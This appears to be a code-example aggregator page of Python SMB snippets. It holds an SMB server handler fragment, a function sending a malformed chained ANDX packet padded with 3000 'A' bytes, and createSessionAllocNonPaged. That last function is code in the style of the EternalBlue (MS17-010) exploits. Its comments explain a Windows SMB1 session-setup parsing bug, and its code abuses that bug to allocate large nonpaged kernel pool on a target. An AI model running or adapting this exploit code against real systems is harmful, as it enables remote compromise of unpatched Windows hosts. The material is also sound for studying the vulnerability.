        respData['PadLen'] = 0
        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'],
                                                       'NTFS')

        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode
Exemple #29
0
    def do_lots(self, user, pwd_ansi, share, filename, domain=''):
        pkt = smb.NewSMBPacket()
        pkt['Flags1'] = 8

        sessionSetup = smb.SMBCommand(self.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Parameters()
        sessionSetup['Data'] = smb.SMBSessionSetupAndX_Data()

        sessionSetup['Parameters']['MaxBuffer'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VCNumber'] = os.getpid()
        sessionSetup['Parameters']['SessionKey'] = self.get_session_key()
        sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi)
        sessionSetup['Parameters']['UnicodePwdLength'] = len('')
        sessionSetup['Parameters']['Capabilities'] = self.CAP_RAW_MODE

        sessionSetup['Data']['AnsiPwd'] = pwd_ansi
        sessionSetup['Data']['UnicodePwd'] = ''
        sessionSetup['Data']['Account'] = str(user)
        sessionSetup['Data']['PrimaryDomain'] = str(domain)
        sessionSetup['Data']['NativeOS'] = str(os.name)
        sessionSetup['Data']['NativeLanMan'] = 'pysmb'

        # This is an example of how to use chained ANDX commands

        treeConnect = smb.SMBCommand(self.SMB_COM_TREE_CONNECT_ANDX)
        treeConnect['Parameters'] = smb.SMBTreeConnectAndX_Parameters()
        treeConnect['Data'] = smb.SMBTreeConnectAndX_Data()
        treeConnect['Parameters']['PasswordLength'] = 1
        treeConnect['Data']['Password'] = '******'
        treeConnect['Data']['Path'] = share
        treeConnect['Data']['Service'] = smb.SERVICE_ANY

        openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX)
        openFile['Parameters'] = smb.SMBOpenAndX_Parameters()
        openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ
        openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN
        openFile['Parameters']['SearchAttributes'] = 0
        openFile['Data'] = smb.SMBOpenAndX_Data()
        openFile['Data']['FileName'] = filename

        readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX)
        readAndX['Parameters'] = smb.SMBReadAndX_Parameters()
        readAndX['Parameters']['Offset'] = 0
        readAndX['Parameters']['Fid'] = 0
        readAndX['Parameters']['MaxCount'] = 4000

        crap = smb.SMBCommand(0)
        crap['Parameters'] = smb.SMBAndXCommand_Parameters()
        crap['Data'] = 'A' * 3000

        pkt.addCommand(sessionSetup)
        pkt.addCommand(crap)
        pkt.addCommand(treeConnect)
        pkt.addCommand(openFile)
        pkt.addCommand(readAndX)

        sessionSetup['Parameters']['AndXCommand'] = crap['Parameters'][
            'AndXCommand']
        sessionSetup['Parameters']['AndXOffset'] = crap['Parameters'][
            'AndXOffset']

        sessionSetup['ByteCount'] = 1000
        treeConnect['ByteCount'] = 100

        self.sendSMB(pkt)

        pkt = self.recvSMB()
Exemple #30
0
def createSessionAllocNonPaged(target, size):
    # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
    # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"

    # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
    # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
    # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
    #   - GetNtSecurityParameters() function is resposible for extracting data from this packet format
    # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
    #   - GetExtendSecurityParameters() function is resposible for extracting data from this packet format

    # These 2 formats have different WordCount (first one is 13 and later is 12).
    # Here is logic in BlockingSessionSetupAndX() related to this bug
    # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
    # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
    # - else, process a message as NT Security request

    # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
    # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
    # But GetExtendSecurityParameters() checks ByteCount value again.

    # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.

    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters'][
        'MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
    sessionSetup['Parameters'][
        'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

    sessionSetup['Data'] = pack('<H', reqSize) + b'\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn